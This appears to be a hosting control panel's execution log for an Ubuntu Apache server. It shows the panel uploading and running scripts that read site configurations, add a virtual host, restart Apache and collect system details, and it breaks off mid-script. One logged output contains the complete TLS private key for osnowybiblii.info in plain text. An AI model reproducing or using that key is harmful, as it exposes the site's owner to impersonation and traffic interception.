port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-27 06:00:16:
PUT: /tmp/pkp224281
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/osnowybiblii_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-27 06:00:16:
chmod 755 /tmp/pkp224281; /tmp/pkp224281; rm /tmp/pkp224281
2025-11-27 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf 1414
<VirtualHost *:80>
ServerName osnowybiblii.info
ServerAlias www.osnowybiblii.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/osnowybiblii_www
<Directory /var/www/osnowybiblii_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/osnowybiblii/www_access.log combined
ErrorLog /var/log/apache2/osnowybiblii/www_error.log
SetEnv pkp_uid 53
SetEnv pkp_owner osnovy
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName osnowybiblii.info
ServerAlias www.osnowybiblii.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
DocumentRoot /var/www/osnowybiblii_www
<Directory /var/www/osnowybiblii_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/osnowybiblii/www_secure_access.log combined
ErrorLog /var/log/apache2/osnowybiblii/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-27 06:00:16:
PUT: /tmp/pkp694449
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-27 06:00:16:
chmod 755 /tmp/pkp694449; /tmp/pkp694449; rm /tmp/pkp694449
2025-11-27 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt 5385
c1:9a:ab:f5:2b:d5:d7:ba:ab:fa:30:b2:2f:a9:8c:bb
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBTfy1K2G9PeqiT9/cS2QVOKIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTI3MDUwMTQ0WhcNMjYwMjI1MDUwMTQzWjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAOPHVgEcj/HK4CPuUxbgOgg1vznZEIANWcWXig1569QD6Bd/ahiqLqGTrKKh
pxePDw3MlmwNI95fbb9pZNzisoyrG/6UysXLFjeKCXe1eZSq7eZP/OxFJRJUs8j7
yLWfcKpvDhYuXlArdPSRW1O66GJ2Q8s4Z8hepskXuC/nxKc64dkKrC81iCThTfxi
lGXXxQx1zqq06R7KGTBnMigg6pd56EUNC+7uLEfCRnO2SXp4gzxfLJQVetGb4jxf
HcsRNH/sZEouFj2DAP/ATEryJY9rzY6QMHIBc7ZJwGmm3O2kaE78yKCsrOvthD97
LfSHO4rDW++UukmRFEeiqPyOSAsCAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU+Jqb/1qgzn838EteoRm4RzOYRtkwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFvc25vd3liaWJsaWkuaW5m
b4IVd3d3Lm9zbm93eWJpYmxpaS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0G
A1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOS5jcmwwggEF
BgorBgEEAdZ5AgQCBIH2BIHzAPEAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWF
sMsUwxRY5wAAAZrD5eWDAAAEAwBIMEYCIQCiu04EvJ0jasZrepayBUtJeEEZgzyH
x0zuPT+u7+XO+gIhAIS4/wHHJo3Hv8tG9Vx2V1cBOi8yaYOYckXGegtMt8AQAHYA
DleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGaw+XlWwAABAMARzBF
AiEAi8bEYb4nX+tYopz4Q9AepCiXJLSES4S6cyDSj6AOoh0CIHoF36YWplqHC7Jy
BfOwLcZJty7g74fMusFun0pG9VwfMA0GCSqGSIb3DQEBCwUAA4IBAQAubabMSKVs
7j7rgTcjUKYFbua1G8BZcm2Z6uMeXfadWHUXo1r7V1Vaix8DrZ9uRZMi2F5mWXlo
i+/Mp5v69ENjx4+2NlWNDkdQzoHXCoStczHiDsnSG0Q/SaAd5svGHzU8uJKm0DZH
22NW0eCwSdvaDre5vQtF45OPfsNyKb6PcKlj6hTk428M4f6GVy9Z8I5vK92Y19Ag
VzaXtm7FKki8uJLpV9tPLmcZiMq+LlytDNyj+K1MgA4S7qZ0cTdXgHoGSMiGICb3
7s93d6QlFC2UwLp9QPNAaZU7QDxX449qngqTGK6QSIYGEBEe/GLwh2K3acyZMyIo
4akeA2VcCMu3
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDjx1YBHI/xyuAj
7lMW4DoINb852RCADVnFl4oNeevUA+gXf2oYqi6hk6yioacXjw8NzJZsDSPeX22/
aWTc4rKMqxv+lMrFyxY3igl3tXmUqu3mT/zsRSUSVLPI+8i1n3Cqbw4WLl5QK3T0
kVtTuuhidkPLOGfIXqbJF7gv58SnOuHZCqwvNYgk4U38YpRl18UMdc6qtOkeyhkw
ZzIoIOqXeehFDQvu7ixHwkZztkl6eIM8XyyUFXrRm+I8Xx3LETR/7GRKLhY9gwD/
wExK8iWPa82OkDByAXO2ScBpptztpGhO/MigrKzr7YQ/ey30hzuKw1vvlLpJkRRH
oqj8jkgLAgMBAAECggEAFGNBNXRDBhdsnIq2cTO8vgNhjGH7chq/0EnSF4a0LxPy
cDf9XRvOdLPtHdluRVOOu2N2i1FZxouwHRPn7UV1SdX++XiD9dRJtsrqMgbSTRZH
mPfL4bIGsW9XcEPpISiWQwsRrbaUxoQ9Qa7JB+OQ7U88njH8SBkAwLsYx2DtXzJg
vAh47bNWNoy6PwogHw36u1EkwqK3IMuIk2+V7RDPkSozw7pObd3h8cb+BExTZ4ND
7q6A3HJrwb2eT4Hjwx+IdH3ypbwVHC2ITlc6BUpZOwXL8PymBCiQ9z7JX0CjBtZP
k3jggu34Wfj1x6XKsN8J0tN3I1GRVD8trbgy7OV04QKBgQD/vSQRmutS+ftNYrKB
ZveoC/EItWSxyIKqfNj7gIxVqQrJCMMBw+UJT3LCYP4jcz4nUHuQa3MX1hAH//qj
RgffoV96XF4DD2U/fPWZ7/PZErAoCLDGzSnH039VqyNKU+GWg3/et2dzyCnT1e2w
macuX5LLYTsdFu3E4HjCYWpMAwKBgQDkAuKiVwGBSHI7FwJrGX4EVO0o8kgFm3cd
v4GV2f9jWxxsvtxn5vEOCXbjrbfmUaadH7dKVVq3/SUIAppGzdxmPMxRjByVvl3M
3PmjlQUr3vfqtDGtKlwHtykBIWehSX1pag+MnVBAj60BpVwpAtGelmdhNvMHV3L1
dnGIHk9JWQKBgBg/kNnyfHmjpkZSI2bNopHWgAY5XNDWmD0eFVzTdXrxykoBgKv8
LQ1S8SipFa+6z5ver7ij14fdDiwUA2nTzA9SN8FcXLWhkhIRASCVdeOROA6ztD9F
WL7PuPUggvobNfqVgVxWu4Jo6j5hvGXQS9/DxCFwmLBLakQOnKSho/iNAoGBALZc
mGa+r7V2++XGwWhnOyK7yfK11GSnst1YDYyMjnYoqNNQ03dGfgV8DFqM1kifhWKl
uzL4kVYWYUfGzR1UCLK8ba3LIhGh7+Op2P+8cCZmbmKJPDIDbxe8pk8BKKEW5fcp
nMYaC9WXFAf8+XjTiFQOdyCJklaM2qT31lXH6CIBAoGAa2WOGEjaNavrWiJIensM
srdtO6Y/Ud77B6t9Sel7MrOGkrg2XvoM3GIKSWV1EMtTzlzFNfDxpi+EmFfYmeTb
H3Ayo2xUvEKFwOxFDfw9t5b3nYfIHVTnPtA1GmtURfQZd2CGdisH65wh72rTojNZ
mQYlW+13w1QGx/ijsaVq7tk=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-27 06:00:16: Establishing a connection
2025-11-27 06:00:17: Establishing a connection
2025-11-27 06:00:18:
PUT: /tmp/pkp854330
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-27 06:00:19:
chmod 755 /tmp/pkp854330; /tmp/pkp854330; rm /tmp/pkp854330
2025-11-27 06:00:19:
0
2025-11-27 13:19:35: Establishing a connection
2025-11-27 13:20:07: Establishing a connection
2025-11-27 13:20:08:
PUT: /tmp/pkp411389
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "sites-available/kjvdictionary_store_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-27 13:20:08:
chmod 755 /tmp/pkp411389; /tmp/pkp411389; rm /tmp/pkp411389
2025-11-27 13:20:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/kjvdictionary_store_org.conf 0
2025-11-27 13:20:08:
PUT: /tmp/pkp816112
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_store_org.conf
TARGET=sites-available/kjvdictionary_store_org.conf
DOCROOT=/var/www/kjvdictionary_store
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName store.kjvdictionary.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/kjvdictionary_store
<Directory /var/www/kjvdictionary_store>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/kjvdictionary/store_access.log combined
ErrorLog /var/log/apache2/kjvdictionary/store_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/apache2/kjvdictionary
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "../sites-available/kjvdictionary_store_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf'
echo 'file(/etc/apache2/sites-available/kjvdictionary_store_org.conf= 1'
fi
2025-11-27 13:20:08:
chmod 755 /tmp/pkp816112; /tmp/pkp816112; rm /tmp/pkp816112
2025-11-27 13:20:08:
link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf
file(/etc/apache2/sites-available/kjvdictionary_store_org.conf= 1
2025-11-27 13:20:08:
PUT: /tmp/pkp289475
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-27 13:20:08:
chmod 755 /tmp/pkp289475; /tmp/pkp289475; rm /tmp/pkp289475
2025-11-27 13:20:08:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-27 13:20:08: Performing Server Status
2025-11-27 13:20:08:
PUT: /tmp/pkp795445
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-11-27 13:20:08:
chmod 755 /tmp/pkp795445; /tmp/pkp795445; rm /tmp/pkp795445
2025-11-27 13:20:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
bullseye/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.6 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
aries
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 5.4.0-216-generic
2025-11-27 13:20:08:
PUT: /tmp/pkp712037
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-11-27 13:20:08:
chmod 755 /tmp/pkp712037; /tmp/pkp712037; rm /tmp/pkp712037
2025-11-27 13:20:08:
[apache2]
Server version: Apache/2.4.41 (Ubuntu)
Server built: 2025-04-02T18:34:29
Server's Module Magic Number: 20120211:88
Server loaded: APR 1.6.5, APR-UTIL 1.6.1
Compiled using: APR 1.6.5, APR-UTIL 1.6.1
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_SYSVSEM_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 876
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 876 0.0 0.8 228680 33816 ? Ss Nov15 1:32 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
cgi_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
headers_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_fcgi_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-11-27 13:20:08:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'aries',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 20.04.6 LTS',
'rel' => '20.04.6',
'mac' => 0,
'distro' => 'ubuntu',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'cgi_module',
18 => 'deflate_module',
19 => 'dir_module',
20 => 'env_module',
21 => 'filter_module',
22 => 'headers_module',
23 => 'mime_module',
24 => 'mpm_prefork_module',
25 => 'negotiation_module',
26 => 'php_module',
27 => 'proxy_module',
28 => 'proxy_fcgi_module',
29 => 'proxy_wstunnel_module',
30 => 'reqtimeout_module',
31 => 'rewrite_module',
32 => 'setenvif_module',
33 => 'socache_shmcb_module',
34 => 'ssl_module',
35 => 'status_module',
),
),
)
2025-11-27 13:20:08:
PUT: /tmp/pkp495704
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
